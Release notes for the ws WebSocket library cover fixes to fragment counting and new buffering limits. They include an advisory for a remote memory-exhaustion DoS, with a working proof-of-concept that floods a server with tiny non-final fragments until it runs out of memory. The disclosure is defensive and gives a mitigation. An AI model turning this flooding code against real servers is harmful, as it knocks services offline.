Bug fixes

• Fixed a bug introduced in version 7.5.12 that prevented the fragment counter
  from resetting (18bcb11).

Bug fixes

• Fixed a bug introduced in version 6.2.5 that prevented the fragment counter
  from resetting (899bf9e).

Bug fixes

• Fixed a bug introduced in version 5.2.6 that prevented the fragment counter
  from resetting (504a6ef).

Bug fixes

• Empty fragments are now counted toward the limit (a2f4e7c).
• The default values of the maxBufferedChunks and maxFragments options have
  been reduced (f197ac6).

Bug fixes

• Backported a2f4e7c and f197ac6 to the v7.x release line (fb8a193, deec211).

Bug fixes

• Backported a2f4e7c and f197ac6 to the v6.x release line (58ddc8c, 4f19c0c).

Bug fixes

• Backported a2f4e7c and f197ac6 to the v5.x release line (6019b4e, 55260e5).

Features

• Introduced the maxBufferedChunks and maxFragments options (2b2abd4).

Bug fixes

• Fixed a remote memory exhaustion DoS vulnerability (2b2abd4).

A high volume of tiny fragments and data chunks could be sent by a peer, using
modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the
maxPayload option if possible.

Bug fixes

• Backported 2b2abd4 to the 7.x release line (e14c458).

Bug fixes

• Backported 2b2abd4 to the 6.x release line (a76e211).